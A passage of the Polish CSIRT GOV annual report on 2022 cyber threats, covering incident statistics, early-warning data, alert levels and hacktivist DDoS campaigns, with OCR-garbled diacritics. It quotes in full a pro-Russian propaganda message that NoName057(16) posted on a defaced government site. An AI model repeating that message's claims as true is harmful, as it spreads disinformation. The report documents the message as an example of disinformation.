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ZESPOL CSIRT GOV

Zespot Reagowania na Incydenty Bezpieczenstwa Komputerowego CSIRT GOV, prowadzony
przez Szefa Agencji Bezpieczenstwa Wewnetrznego, petni role Zespotu CSIRT poziomu krajowe-
go. Zespot CSIRT GOV odpowiada za koordynacje procesu reagowania na incydenty komputerowe
wystepujace w obszarze wskazanym w art. 26 ust. 7 ustawy z dnia 5 lipca 2018 roku o krajowym
systemie cyberbezpieczenstwa. Jednym z jego podstawowych zadan jest rozpoznawanie, zapo-
bieganie i wykrywanie zagrozen godzacych w bezpieczenstwo, istotnych z punktu widzenia cia-
gtosci funkcjonowania panstwa systemow teleinformatycznych organow administracji publiczne;
lub systemow oraz sieci teleinformatycznych objetych jednolitym wykazem obiektow, instalacji,
urzadzen i ustug wchodzacych w sktad infrastruktury krytycznej, a takze systemow teleinfor-
matycznych wtascicieli i posiadaczy obiektdw, instalacji lub urzadzen infrastruktury krytyczne;,
o ktorych mowa w art. 5b ust. 7 pkt T ustawy z dnia 26 kwietnia 2007 r. o zarzadzaniu kryzysowym.
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WSTEP

Raport o stanie bezpieczenstwa cyberprzestrzeni RP, przygotowywany corocznie przez
Zespot Reagowania na Incydenty Bezpieczenstwa Komputerowego, pozwala na zapoznanie sig
z dziatalnoscig CSIRT GOV realizowang w obszarze cyberbezpieczenstwa kluczowych elementow
krajowej infrastruktury teleinformatycznej. Stanowi jednoczesnie syntetyczne opracowanie, po-
zwalajace na zapoznanie sie z najistotniejszymi odnotowanymi w 2022 r. zagrozeniami oraz sze-
roko pojetg aktywnoscia w cyberprzestrzeni wymierzong w infrastrukture Tl podmiotéw admini-
stracji panstwowej, operatordw infrastruktury krytycznej, a takze podmiotéw $wiadczacych ustugi
kluczowe. Pozwala na zapoznanie sig ze skalg oraz rodzajami rozpoznanych zagrozen. Opraco-
wanie stanowi takze mozliwo$¢ zapoznania sie z dziatalnoscig CSIRT GOV w zakresie podnosze-
nia poziomu bezpieczenstwa systemdw informatycznych podmiotéw o szczegélnym znaczeniu dla
funkcjonowania panstwa.

Raport zostat przygotowany w oparciu o analize zgtaszanych oraz rozpoznawanych przez
CSIRT GOV incydentow bezpieczenstwa teleinformatycznego, jak rowniez danych pozyskanych
przy wykorzystaniu systemow pozwalajacych na autonomiczne wykrywanie zagrozen, w tym
w szczegolnosci systemu wczesnego ostrzegania ARAKIS GOV, a takze informacji uzyskanych na
podstawie aktywnych dziatan Zespotu.

W kolejnych rozdziatach przedstawione zostaty zagadnienia zwigzane z dziatalnosScia
CSIRT GOV w 2022 r. Na wstepie przedstawiono zestawienia statystyczne obrazujgce liczbe od-
notowanych incydentéw z uwzglednieniem podstawowych rodzajow zagrozen, a takze obszardw,
w ktorych dokonano ich identyfikacji. Zaprezentowano réwniez analize porownawczg w zakresie
wolumenu oraz typologii zdarzen w odniesieniu do lat ubiegtych, a takze dane statystyczne
w zakresie dynamiki wystepowania zdarzen.

W dalszej czesci Raportu opisane zostaty poszczegdlne rodzaje zagrozen rozpoznanych
przez CSIRT GOV, w tym m.in. podatnosci systemdw, kampanie socjotechniczne, ataki DDoS. Przed-
miotowa analiza zostata przeprowadzona w kontekscie zagrozen oraz dziatan podjetych w nowych,
nieodnotowywanych wczesniej na tak szeroka skale warunkach, zwigzanych z wprowadzeniem na
terenie RP stopnia alarmowego CHARLIE-CRP, z uwzglednieniem wcigz wzrastajacej liczby odno-
towywanych kampanii socjotechnicznych, a takze wolumenu atakow DDoS (Distributed Denial of
Service), wymierzonych w szczegdlnosci w ustugi publiczne $wiadczone z wykorzystaniem sieci
Internet.




W kolejnej czeSci opracowania przedstawiono analize dziatalnosci zorganizowanych grup
hackerskich (APT - Advanced Persistent Threat) w obszarze cyberprzestrzeni RP. Nastepnie do-
konano analizy tendencji w zakresie rodzajow oraz sposobu wykorzystania dystrybuowanego
w 2022 r. oprogramowania ztosliwego, w tym najczesciej identyfikowanego, jak Agent Tesla, HTML
Phisher, Hidden Macro 4.0, czy Formbook.

Dalsza cze$¢ Raportu skupia sie na analizie danych pozyskanych przy wykorzystaniu
systemu wczesnego ostrzegania o zagrozeniach teleinformatycznych. W tym miejscu przedsta-
wiono m.in. wolumen ruchu sieciowego poddanego procesowi monitoringu, wraz z klasyfikacja
wykrytych zagrozen. Zobrazowano ponadto zrddta ruchu ztosliwego, rozpoznane cele, najpo-
pularniejsze zestawy danych uwierzytelniajacych wykorzystywanych do prob uzyskania nieau-
toryzowanego dostepu do atakowanych systemow oraz zestawienie adreséw URL najczesciej
wykorzystywanych do rozpoznania ustug webowych w sieciach teleinformatycznych podmiotéw
uczestniczacych w projekcie ARAKIS GOV.

Raport przedstawia takze dziatania realizowane przez Zespdt CSIRT GOV w ramach zadan
okreslonych w art. 32a ustawy z dnia 24 maja 2002 r. o Agencji Bezpieczenstwa Wewnetrznego
oraz Agenciji Wywiadu. Zespot CSIRT GOV, w celu zapobiegania i przeciwdziatania oraz zwalczania
zdarzen o charakterze terrorystycznym dotyczacych istotnych z punktu widzenia ciggtosci funk-
cjonowania panstwa systemow teleinformatycznych organdw administracji publicznej lub sieci
teleinformatycznych stanowigcych elementy infrastruktury krytycznej, zobligowany jest do prze-
prowadzania procesu oceny bezpieczenstwa systemow teleinformatycznych. W ramach przedmio-
towe] dziatalnosci wykorzystywane sg zaréwno aktywne, jak i pasywne narzedzia, umozliwiajace
identyfikacje podatnosci architektury systemow oraz ustug sieciowych. W ramach powyzszych
dziatan prowadzona jest rowniez analiza wptywu czynnikéw inzynierii spotecznej (dziatan socjo-
technicznych) na poziom bezpieczenstwa infrastruktury IT oraz $wiadomosci zagrozen posiadanej
przez jej uzytkownikow. Analiza zaprezentowana w Raporcie pozwala na zapoznanie sie z najcze-
$ciej rozpoznawanymi podatnosciami, majgcymi istotny wptyw na stan bezpieczenstwa systemow.

Ponadto, w opracowaniu przedstawiono dziatania CSIRT GOV ukierunkowane na
podnoszenie efektywnosci i skutecznosci przeciwdziatania zagrozeniom w cyberprzestrze-
ni. W przedmiotowym zakresie zaprezentowano w szczegolnosci udziat przedstawicieli Zespotu
w migdzynarodowych ¢wiczeniach ,Locked Shields 2022, organizowanych cyklicznie przez NATO
Cooperative Cyber Defence Centre of Excellence (CCDCOE), a takze cwiczeniach NATO Cyber
Coalition. Uczestnictwo we wzmiankowanych przedsiewzieciach pozwolito m.in. na bezposrednia
wymiang aktualnej wiedzy w obszarze cyberbezpieczenstwa, omdowienie doswiadczen w zakresie
obstugi incydentdw (good practices), a takze wypracowanie efektywnych sposobdw reagowania
w ramach przeprowadzonych ¢wiczen praktycznych.



Raport przedstawia wreszcie role, zadania oraz aktywnos¢ Zespotu CSIRT GOV w obszarze
wdrazania w infrastrukturze teleinformatycznej wykorzystywanej przez administracje publiczng
rozwigzan chmurowego przetwarzania danych (Cloud computing), stanowigcg odpowiedz na inten-
sywnie wzrastajacy poziom wykorzystania tego typu rozwigzan przez podmioty publiczne. W tym
zakresie rola CSIRT GOV polega w szczegdlnosci na ocenie mozliwosci wykorzystania rozwigzan
chmurowych w kontekscie rodzaju i wrazliwosci przetwarzanych danych, specyfiki i kontekstu
funkcjonowania poszczegdlnych podmiotow administracii, a takze analizy ryzyka bezpieczenstwa
(poufnosci, integralnosci, dostepnosci) zasobow czy ustug, ktore majg by¢ poddane procesowi
migracji do Rzadowej Chmury Obliczeniowej, czy chmur o charakterze publicznym.

Niniejszy Raport zostat opracowany celem przedstawienia najistotniejszych zagrozen dla
cyberbezpieczenstwa elementow infrastruktury teleinformatycznej zapewniajacej prawidtowe
i niezaktdcone funkcjonowanie organéw administracji panstwowej, a takze systemow kluczowych
dla bezpieczenstwa panstwa i obywateli. Ma jednoczenie na celu podniesienie $wiadomosci oraz
wrazliwosci uzytkownikow systemow teleinformatycznych na szeroko rozumiane zagadnienie
cyberbezpieczenstwa. Dzigki opracowaniu mozliwe jest rozpropagowanie wiedzy pozwalajgcej na
wczesng identyfikacje zagrozen, a takze podstawowych sposobdw ich minimalizowania, co z kolei
przektada sie na state i systematyczne wzmacnianie ogdlnego poziomu bezpieczenstwa zasobow
oraz systemow teleinformatycznych.
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1.1. Statystyka roczna

W roku 2022 zarejestrowanych zostato tacznie 1 234 040 zgtoszen o potencjalnym
wystgpieniu incydentu teleinformatycznego w obszarze kompetencyjnym Zespotu CSIRT GOV.
Odnotowana liczba zgtoszen stanowi wzrost w stosunku do roku poprzedniego, w ktdérym
zarejestrowano 762 175 zgtoszen. Przedmiotowa liczba zgtoszen przetozyta sie na 21563 zdarzen
zakwalifikowanych i zarejestrowanych jako incydenty bezpieczenstwa informatycznego.

Ponizej przedstawiono i omdwiono statystyki dotyczace liczby zgtoszen oraz incydentow
w pordwnaniu do lat poprzednich, z uwzglednieniem podziatu na zdarzenia rejestrowane przez
system ARAKIS GOV oraz zgtoszenia przekazane do Zespotu CSIRT GOV przez podmioty krajowego
systemu cyberbezpieczenstwa.
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Wykres 1. Liczba zarejestrowanych zgtoszen i zdarzen oraz incydentow w poszczegélnych latach



Wsrod zarejestrowanych zgtoszen najwieksza czesc stanowity zgtoszenia pochodzace
z systemu wczesnego ostrzegania ARAKIS GOV, gdzie odnotowano tacznie 1 207 287 zdarzen.
Sposradd nich 16 604 nadano faktyczny status incydentdw. Wzrost liczby zgtoszen zarejestrowanych
przez ARAKIS GOV w roku 2022 w stosunku do lat ubiegtych wynikat ze zwiekszonej licz-
by wygenerowanych alarmow. System ARAKIS GOV umozliwia bowiem identyfikacje zagrozen
m.in. na podstawie dedykowanych sygnatur bezpieczenstwa, ktdrych baza jest systematycznie
aktualizowana. Na wzrastajacg liczbe zgtoszen miata jednoczesnie wptyw zwiekszajaca sie liczba
zainstalowanych sond, wynikajgca zarowno z implementacji nowych urzadzen w infrastrukturze
dotychczas objetej monitoringiem systemu wczesnego ostrzegania o zagrozeniach pochodzacych
z sieci Internet ARAKIS GOV, jak rowniez wzrostem liczby podmiotow zainteresowanych tym sys-
temem ochrony.

Jednoczesnie, w omawianym okresie Zespdt CSIRT GOV odnotowat 26 753 zgtoszenia
wynikajace z obstugi biezacej prowadzonej przez Zespot CSIRT GOV, kwalifikujac 4 959 z nich jako
incydenty.




1.2. Analiza poszczegolnych kwartatow, w oparciu o incydenty
zgtoszone przez podmioty krajowego systemu cyberbezpie-

czenstwa

Biorgc pod uwage liczbe zgtoszen w poszczegdlnych kwartatach roku 2022, mozna
zauwazy¢, iz najwiekszy wolumen odnotowano w | i Il kwartale. Sytuacja ta wynikata przede
wszystkim z wprowadzenia na terenie kraju stopni alarmowych: ALFA-CRP w styczniu, a na-
stepnie CHARLIE-CRP w lutym 2022 roku, co skutkowato znacznym wzrostem liczby zgtoszen
dotyczacych identyfikacji zdarzen noszacych znamiona naruszenia bezpieczenstwa infrastruktury

teleinformatycznej dokonywanych przez podmioty krajowego systemu cyberbezpieczenstwa.
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Wykres 2. Liczba zarejestrowanych zgtoszen oraz incydentow w poszczegolnych kwartatach
2022 r. zgtoszonych przez podmioty krajowego systemu cyberbezpieczenstwa



1.3. Statystyka incydentow pod wzgledem kategorii incydentow
zgtoszonych przez podmioty krajowego systemu cyberbezpie-
czenstwa

Ponizej przedstawiona zostata statystyka obrazujgca zagrozenia zarejestrowane przez
CSIRT GOV w 2022 roku z podziatem na podstawowe kategorie incydentow.

o~
o]
—
N

Podatnos¢
Socjotechnika
Niedostepnosé - 826
Publikacja 316
Tresci 191
Atak 174
Skanowanie . 151
Wirus . 61

Wykres 3. Statystyka incydentow w roku 2022 zgtoszonych przez podmioty krajowego systemu
cyberbezpieczenstwa

Jak wynika z powyzszego zestawienia, najwigksza liczba incydentdw sklasyfikowana
zostata jako PODATNOSC, SOCJOTECHNIKA oraz NIEDOSTEPNOSC. Wolumen incydentéw w kategorii
PODATNOSC w 2022 roku wynidst 2 187 przypadkéw, co stanowi znaczny wzrost w stosunku do
roku poprzedniego, w ktorym zarejestrowano 1148 incydentow tego rodzaju. Kategoria ta objeto
w szczegolnosci incydenty zwigzane z identyfikacja réznego rodzaju stabosci systemow telein-
formatycznych, bteddw konfiguracyjnych, a takze bedacych skutkiem braku odpowiedniej polityki
bezpieczenstwa, w szczegolnosci w obszarze statej aktualizaciji oraz weryfikacji wdrozonych roz-

wigzan teleinformatycznych.




W kategorii SOCJOTECHNIKA sklasyfikowano tacznie 1053 incydenty. Tutaj rowniez odnoto-
wuje sie tendencje wzrostowa w stosunku do roku 2021, w ktorym zarejestrowano 904 incydenty.
Kategoria SOCJOTECHNIKA objeta swoim zakresem m. in. kampanie phishingowe, podszycia oraz
ataki z wykorzystaniem inzynierii spotecznej, wymierzone przeciwko uzytkownikom systemow
teleinformatycznych. Przedmiotowe kampanie miaty na celu wytudzenie informacji poufnych, za-
infekowanie stacji roboczych badz naktonienie uzytkownika do okreslonych dziatan, niezgodnych
z zasadami bezpieczenstwa pracy w systemach teleinformatycznych. W tej kategorii uwzglednio-
no przede wszystkim ataki o charakterze ukierunkowanym, wymierzone w infrastrukture podmio-
tow oraz instytucji pozostajacych w zakresie wtasciwosci CSIRT GOV.

Trzecig najliczniej odnotowywang w 2022 roku kategorig incydentow byty zdarzenia skla-
syfikowane jako NIEDOSTEPNOSC. W tym przypadku zarejestrowano 826 incydentéw, co réwniez
stanowi istotny przyrost w poréwnaniu do roku poprzedniego, w ktorym zidentyfikowano 310 po-
dobnych zdarzen. Do kategorii NIEDOSTEPNOSC zakwalifikowano incydenty polegajace na niedo-
stepnosci witryn internetowych, wynikajgcych zaréwno z atakow DDoS (ang. distributed denial of
service), jak rowniez awarii czy wykonywanych prac technicznych.

Gtownym czynnikiem wptywajgcym na liczbe zgtoszen zwigzanych z niedostepnoscig do-
men, byt znaczny wzrost liczby atakow DDoS wymierzonych w witryny internetowe utrzymywane
przez podmioty administracji publicznej oraz operatorow infrastruktury krytycznej RP.

W kategorii PUBLIKACJA zarejestrowano 316 incydentdw. Zakwalifikowano do niej zagro-
zenia zwigzane z tzw. ,wyciekiem” danych, nieautoryzowang modyfikacja tresci czy kampaniami
dezinformacyjnymi. Rowniez w tej kategorii odnotowano wzrost liczby incydentow wzgledem roku
2021, ktory zamknat sie liczba 58 rozpoznanych przypadkaw.

Incydenty oznaczone jako TRESCI dotyczyty zgtoszer zwiazanych z réznego rodzaju tre-
$ciami naruszajacymi szeroko pojete dobra publiczne. Zespot CSIRT GOV zarejestrowat 119 incy-
dentow odpowiadajgcych tej kategorii.

Kolejng kategorie stanowity incydenty sklasyfikowane jako ATAK, rozumiane jako wszel-
kiego rodzaju ataki przeprowadzane na systemy teleinformatyczne, w szczegdlnosci te, ktore sta-
nowity probe przetamania zabezpieczen. W 2022 r. zarejestrowano 174 zdarzenia o przedmioto-
wym charakterze, co w porownaniu z danymi z raportu ubiegtorocznego (74 incydenty) stanowi
wzrost 0 135%.

Kolejng pod wzgledem liczby rozpoznanych incydentow byta kategoria SKANOWANIE. Do tej
kategoriiw 2022 roku zakwalifikowano 151zdarzen, polegajacych na prowadzeniu ukierunkowanego



wzmozonego rekonesansu infrastruktury teleinformatycznej administracji publicznej oraz pod-
miotow infrastruktury krytycznej w celu identyfikacji podatnosci systemow i ustug.

Do kategorii WIRUS, obejmujacej m. in. infekcje stacji roboczych, serwerdw, a takze urza-
dzen sieciowych, zakwalifikowane zostaty 61 incydenty zgtoszone przez podmioty krajowego sys-
temu cyberbezpieczenstwa pozostajgce w obszarze kompetencyjnym CSIRT GOV.

W ramach tej kategorii ujeto takze incydenty identyfikowane w ramach biezagcego monito-
ringu prowadzonego z wykorzystaniem systemu wczesnego ostrzegania ARAKIS GOV. W roku 2022
zarejestrowano 16 604 tego rodzaju incydentow. Dane szczegdtowe w zakresie automatycznego
monitoringu bezpieczenstwa systemow teleinformatycznych zostaty omdowione w dalszej czesci
raportu.

Oprdcz przedstawionych powyzej incydentow poszczegolnych kategorii, ktdrych obstuga
byta realizowana przez CSIRT GOV, odnotowano réwniez 656 zdarzen noszacych znamiona
incydentu bezpieczenstwa teleinformatycznego pozostajacych poza wtasciwoscig CSIRT GOV.
Przedmiotowe incydenty zostaty przekazane do obstugi przez odpowiednie zespoty CSIRT poziomu
krajowego (CSIRT MON, CSIRT NASK), zgodnie z kompetencjg wskazang w art. 26 ust. 5 i 6 ustawy
z dnia 5 lipca 2018 roku o krajowym systemie cyberbezpieczenstwa.




1.4. Statystyka incydentow pod wzgledem sektorow, w opar-
ciu o incydenty zgtoszone przez podmioty krajowego systemu
cyberbezpieczenstwa

Statystyka incydentow zgtoszonych w systemie obstugi CSIRT GOV z podziatem na
poszczegolne sektory wskazuje, iz w 2022 roku najwieksza liczba zgtoszen, w liczbie 1 798,
dotyczyta zagrozen dla systemow i sieci telekomunikacyjnych wykorzystywanych przez operatorow
infrastruktury krytycznej. Ponadto odnotowano zgtoszenia w kategorii urzedy (809 incydentdw)
oraz organy administracji panstwowej (599 incydentow). Podobna sytuacja miata miejsce w roku
2021, w ktérym najwigkszy wolumen zgtaszanych incydentdw rowniez dotyczyt operatorow infra-

struktury krytyczne;.

W kategorii Pozostate (650 incydentow) zostaty zarejestrowane dziatania podejmowane
przez CSIRT GOV w celu mitygaciji zagrozen dla podmiotdw spoza ustawowo zdefiniowanego ob-

szaru kompetencyjnego Zespotu.

Bosaos.

Wykres 4. Liczba incydentow wg sektorow zgtoszonych przez podmioty krajowego systemu
cyberbezpieczenstwa
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Biorac pod uwage zobrazowane powyzej dane dotyczace incydentow odnotowanych w roku /_
2022 dla poszczegdlnych sektoréw krajowego systemu cyberbezpieczenstwa, zauwazalnym jest, /_
iz komponentem najbardziej narazonym na ataki wymierzone w sieci i systemy teleinformatyczne
pozostaje niezmiennie infrastruktura krytyczna RP.




1.5. Statystyka incydentow ARAKIS GOV

W ramach systemu ARAKIS GOV rejestrowane sg zdarzenia majgce charakter potencjal-
nej infekcji sieci oraz systemow teleinformatycznych. Zdarzenia te klasyfikowane sg w kategorii
WIRUS i dotyczg mozliwosci wystapienia komunikaciji ztosliwej przede wszystkim ze zidentyfiko-
wanymi serwerami C&C i domenami ztosliwymi.

W roku 2022 jako incydenty bezpieczenstwa informatycznego zakwalifikowano 16 604
przypadki, sposrad 1207 287 zdarzen klasyfikowanych jako zagrozenia dla infrastruktury tele-
informatycznej podmiotdw. Najwigksza liczbe tego typu zdarzen odnotowano w obszarze infra-
struktury krytycznej, a takze instytuciji i urzedow administracji publicznej. Podobnie jak to miato
miejsce w latach ubiegtych, w 2022 r. incydenty zakwalifikowane jako WIRUS stanowity najbardziej
istotng kategorie zagrozen dla podmiotow cyberprzestrzeni RP.

Liczba incydentow typu WIRUS podyktowana byta przede wszystkim dynamika dziatan
cyberofensywnych prowadzonych z uzyciem réznych metod ataku, w tym wykorzystania podat-
nosci sieci i systemaow, prob przetamania zabezpieczen, dystrybucja oprogramowania ztosliwego,
celem infekcji i zapewnienia persystencji systemow w oparciu o przejeta lub specjalnie przygoto-
wang infrastrukture. Zagrozenia te klasyfikowane jako WIRUS stwarzajg tym samym najwieksze
zagrozenia dla systemow teleinformatycznych podmiotow krajowego systemu cyberbezpieczen-
stwa. Zagrozone sg przede wszystkim systemy teleinformatyczne, ktdre nie sg aktualizowane lub
w stosunku do ktorych brak jest wtasciwej polityki bezpieczenstwa, monitorowania prob atakow,

jak rowniez stosownego reagowania na incydenty.
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Wykres 5. Liczba incydentow w kategorii WIRUS wg sektorow w systemie ARAKIS GOV



1.6. Ostrzezenia dystrybuowane przez CSIRT GOV w 2022 roku

W ramach statego podnoszenia efektywnosci szeroko rozumianego systemu cyberbez-
pieczenstwa RP, jednym z podstawowych zadan Zespotu CSIRT GOV jest dystrybucja ostrzezen
w zakresie rozpoznanych zagrozen. W 2022 roku rozdysponowano pomiedzy organy
administracji publicznej oraz operatorow infrastruktury krytycznej tacznie 613 ostrzezen
zawierajacych informacje umozliwiajgce identyfikacje zagrozen (wskazniki kompromitacji),
ich charakterystyke, a takze rekomendacje dziatan mitygacyjnych.

10C, 62%

Socjotechnika, 7%

Podatnosé, 15%

Inne, 3% Atak, 13%

Wykres 6. Ostrzezenia wystane przez Zespét CSIRT GOV

Wsrad dystrybuowanych w 2022 roku ostrzezen 382 dotyczyto wskaznikéw kompromitacji
zidentyfikowanych zagrozen. W istotnej czesci byty to ostrzezenia opracowane w oparciu o raporty
dotyczace ztosliwego ruchu sieciowego pozyskiwane przez CSIRT GOV w zwigzku z wprowadzonym
stopniem alarmowym CHARLIE-CRP, a takze raporty generowane na podstawie danych dotyczacych
przeptywow sieciowych o charakterze ztosliwym, agregowanych z wykorzystaniem systemu
ARAKIS GOV.




Kolejna grupg ostrzezen byty informacje na temat wykrywanych podatnosci. W omawia-
nym okresie Zespot CSRIT GOV przygotowat tacznie 94 tego rodzaju ostrzezenia. Dystrybuowa-
no w szczegolnosci ostrzezenia dotyczace podatnosci oprogramowania, btedow konfiguracji, czy
koniecznosci aktualizacji produktow. Istotna czesc ze zidentyfikowanych podatnosci wymagata
niezwtocznego wdrozenia poprawek bezpieczenstwa o wysokim badz krytycznym statusie.

Zespot CSIRT GOV rozdysponowat ponadto 78 ostrzezen dotyczacych zagrozenia atakami
wymierzonymi w sieci i systemy teleinformatyczne zidentyfikowanych podmiotéw administracji
oraz infrastruktury krytycznej. W przewazajacej czesci dotyczyty one mozliwosci wystgpienia
atakow DDoS, powodujgcych m.in. niedostepnosci domen badz ustug o charakterze publicznym,
$wiadczonych z wykorzystaniem rozwigzan sieciowych.

W 2022 r. rozestano takze 44 ostrzezenia dotyczace aktywnosci cyberprzestepczej wy-
korzystujacej narzedzia o charakterze socjotechnicznym. W tym obszarze ostrzezenia dotyczyty
w szczegolnosci podszy¢, kampanii phishingowych czy spearphishingowych prowadzonych w celu
wytudzenia danych wrazliwych, a takze szerzenia dezinformacji. Zagrozeniem pozostajagcym
w szczegolnym zainteresowaniu CSIRT GOV byta wzrastajaca liczba dziatan socjotechnicznych
wykorzystujgcych wizerunek organdw administracji panstwowej. W tym zakresie identyfikowano
zaréwno kampanie polegajgce na masowej badz ukierunkowanej dystrybucji wiadomosci e-mail,
jak rowniez utrzymywaniu fatszywych stron internetowych.

Pozostate ostrzezenia oraz rekomendacje dotyczyty szeroko rozumianych dobrych praktyk
w zakresie przeciwdziatania zagrozeniom cyberbezpieczenstwa, czy informacji odnoszacych sie
do dziatan przewidzianych dla stopni alarmowych CRP.






2.1. Stopien alarmowy CHARLIE CRP w Cyberprzestrzeni RP

Rok 2022 r. postawit przed Zespotem CSIRT GOV nowe wyzwania majgce zwigzek z sy-
tuacja geopolityczng w Europie, podyktowane konfliktem zbrojnym w Ukrainie. Sytuacja ta oraz
wysitki Rzeczpospolitej Polskiej czynione na rzecz wsparcia Ukrainy w sposob zdecydowany pod-
niosty potencjalny, ale takze faktyczny poziom zagrozenia bezpieczenstwa Cyberprzestrzeni RP.
Zagrozenie to w szczegolnosci dotyczyto infrastruktury informatycznej wykorzystywanej przez
podmioty oraz instytucje pozostajace, w mysl art. 26 ust. 7 ustawy z dnia 5 lipca 2018 . o krajowym
systemie cyberbezpieczenstwa, w obszarze funkcjonowania CSIRT GOV, obejmujace m.in.:

= organy wtadzy publicznej, w tym organy administracji rzadowej, organy kontroli pan-
stwowej i ochrony prawa, w tym sady i trybunaty;

= podmioty, ktorych systemy teleinformatyczne lub sieci teleinformatyczne objete sg
jednolitym wykazem obiektow, instalacji, urzadzen i ustug wchodzacych w sktad infra-
struktury krytycznej, o ktorym mowa w art. 5b ust. 7 pkt 1 ustawy z dnia 26 kwietnia
2007 r. o zarzadzaniu kryzysowym.

Bioragc pod uwage powyzsza wtasciwos¢ kompetencyjng, CSIRT GOV, dziatajgc w okolicz-
nosciach statego, podwyzszonego zagrozenia, stanat przed koniecznoscig zapewnienia wtasciwe-
go poziomu wsparcia bezpieczenstwa teleinformatycznego dla kluczowych elementow funkcjono-
wania panstwa.

Dostrzegajac rosnacy poziom zagrozen cyberprzestrzeni RP, ktdrego zrodtem byta okre-
Slona sytuacja geopolityczna, a takze zidentyfikowane agresywne dziatania w obszarze cyber-
przestrzeni niosgce znamiona zagrozenia wystgpienia zdarzenia o charakterze terrorystycznym,
Prezes Rady Ministrow Zarzadzeniem nr 3 z dn. 18 stycznia 2022 roku wprowadzit na catym tery-
torium RP stopien alarmowy ALFA-CRP. Nastepnie, w zwigzku z eskalacjg dziatan przeciwko Ukra-
inie, Zarzadzeniem Prezesa Rady Ministrow nr 40 z dn. 21 lutego 2022 roku, wprowadzony zostat
trzeci stopien alarmowy w obszarze cyberbezpieczenstwa - CHARLIE-CRP, ktdry zostat utrzymany
do konca 2022 roku.



Wprowadzenie stopni alarmowych CRP spowodowato koniecznosc realizacji przez Zespo-
ty Reagowania na Incydenty Bezpieczenstwa Komputerowego szczebla krajowego okreslonego
spektrum dziatan. W powyzszym zakresie CSIRT GOV zostat m.in. zobowigzany do:

= wzmozonego monitorowania stanu bezpieczenstwa systemow teleinformatycznych
organéw administracji publicznej oraz systemow teleinformatycznych wchodzacych
w sktad infrastruktury krytycznej;

= dokonania weryfikacji kanatow tgcznosci oraz punktow kontaktowych ustanowio-
nych pomiedzy CSIRT GOV, a pozostatymi podmiotami krajowego systemu cyberbez-
pieczenstwa oraz podmiotami i instytucjami pozostajacymi w obszarze jego dziatania;

= statego utrzymywania podwyzszonej gotowosci do reagowania na incydenty bez-
pieczenstwa komputerowego, majacej na celu umozliwienie podjecia niezwtocznych
dziatan w sytuacji zaistnienia zagrozenia badz zdarzenia wymierzonego w chroniong
infrastrukture.

W toku realizacji zadan realizowanych w rezimie CHARLIE-CRP, Zespot CSIRT GOV obser-
wowat zwiekszong intensywnosc¢ dziatan cyberprzestepczych, przejawiajaca sie w szczegdlnosci
w postaci zintensyfikowanych atakow wymierzonych w infrastrukture teleinformatyczng podmio-
tow nalezacych do administracji rzadowej, a takze podmiotéw odpowiedzialnych za funkcjono-
wanie infrastruktury krytycznej. Zidentyfikowano w szczegdlnosci kampanie w postaci atakow
DDoS na domeny podmiotow chronionych, socjotechniczne kampanie phishingowe, a takze proby
wykorzystania podatnosci systemow teleinformatycznych realizowane w celu uzyskania dostepu
do danych wrazliwych oraz nieautoryzowanej kontroli nad systemami.

0d lutego 2022 r., tj. od czasu wprowadzenia stopnia alarmowego CHARLIE CRP na terenie
kraju, CSIRT GOV odnotowat znaczny wolumen kampanii DDoS realizowanych przez grupy hakty-
wistyczne, m. in. grupy NoName057(16), Killnet, CyberArmia Ludowa. Kampanie tego rodzaju byty
ukierunkowane na ograniczenie dostepnosci witryn internetowych atakowanych podmiotéw oraz
$wiadczonych przy ich wykorzystaniu ustug. Akty tego rodzaju dziatania nosity znamiona kampanii
propagandowych (informacje na ich temat byty intensywnie rozpowszechniane za posrednictwem
popularnych mediow spotecznosciowych), podkreslajacych domniemang skutecznosc¢ grup przy
jednoczesnej probie uwypuklenia stabosci atakowanych celow.

Celem atakow byta w znacznej mierze infrastruktura informatyczna organéw administracji
publicznej szczebla centralnego, a takze podmiotdw realizujgcych dziatalno$c w sektorach o cha-
rakterze kluczowym dla gospodarki RP, w tym energii czy transportu (w szczegolnosci lotniczego
oraz kolejowego).




Jako przyktad tego typu zagrozen moga postuzy¢ ponizej przedstawione przyktady dziatan
propagowywanych na portalach spotecznosciowych przez zidentyfikowane grupy haktywistyczne.
Nalezy zwrdci¢ uwage, ze tego typu dziatalnos¢ nie ograniczata sie tylko do rodzimej infrastruk-
tury, natomiast dotyczyta szerszego spektrum krajow, zwtaszcza w odniesieniu do rejonu Europy
Srodkowo-Wschodniej, jak réwniez samej Ukrainy.

Wsrod celow typowanych przez grupy haktywistyczne w CRP identyfikowano strony pol-
skich instytucji nalezacych do Sadu Najwyzszego, Naczelnego Sadu Administracyjnego, Sejmu RP

czy Prezydenta RP.
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Wsrad obieranych celow znalazty sie rowniez strony internetowe administraciji podatkowe;

czy komend Policji. Odnotowywane ataki charakteryzowaty sie zréznicowang dystrybucjg zrddta

ataku.



Jednoczesnie identyfikowano pojedyncze incydenty wskazujgce na kontekst dezin-
formacyjny. Przyktadowo, we wrzesniu 2022 r w domenie pasazer.gov.pl, nalezacej do Urzedu
Transportu Kolejowego, dokonano podmiany zawartosci strony celem szerzenia dezinformacii.
Na stronie zostata umieszczona tres¢ o tematyce antyukrainskiej, w tym propagandowe grafiki,
tresci przypominajace o rzezi wotynskiej oraz slogany zachecajace Polakdw do protestu przeciw-

ko polskiej wtadzy. Pod opublikowanymi tresciami podpisata sie rosyjska grupa haktywistyczna
NoName057(16).
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Citizens of Poland!

Your authorities have drowned in russophobia and have already forgotten how many of your ancestors were killed by Bandera and Ukrainian nationalists during World War [T Remember the Poles who were brutally murdered during
the Volyn massacre, staged by Hitler's collaborators from the UPA, it was on the graves of these Nazis that your president recently laid a wreath and knelt

Your president has betrayed your common Homeland and openly supports the neo-Nazi government of Ukraine, which in tum destroys its own citizens.

We urge you to actively protest against the Polish authornities, who sold th {ves to the collective West and the Bandera band in Ukraine, spitting on their own citizens. Don't be afraid to speak out! Hold protest actions and spread
truthful information about the crimes of the Ukrainian authorities! Appreciate the memory of your ancestors and do not dance to the tune of Russophobes.

Greetings from the Russian hackers from the NoName057(16) team hitps://t me/noname03716




2.2. Podszycia, kampanie phishingowe i podmiany stron interne-
towych

CSIRT GOV odnotowywat utrzymujacg sie na wysokim poziomie intensywnos¢ kampanii
socjotechnicznych, adresowanych do odbiorcdw masowych, ale takze skierowanych do przedsta-
wicieli wybranych podmiotow. Dziatania tego rodzaju ukierunkowane byty przede wszystkim na
pozyskiwanie danych uwierzytelniajgcych, umozliwiajgcych uzyskanie nieuprawnionego dostepu
do zasohdw atakowanego podmiotu. Istotnym celem atakow byty takze proby dystrybucji ztosliwe-
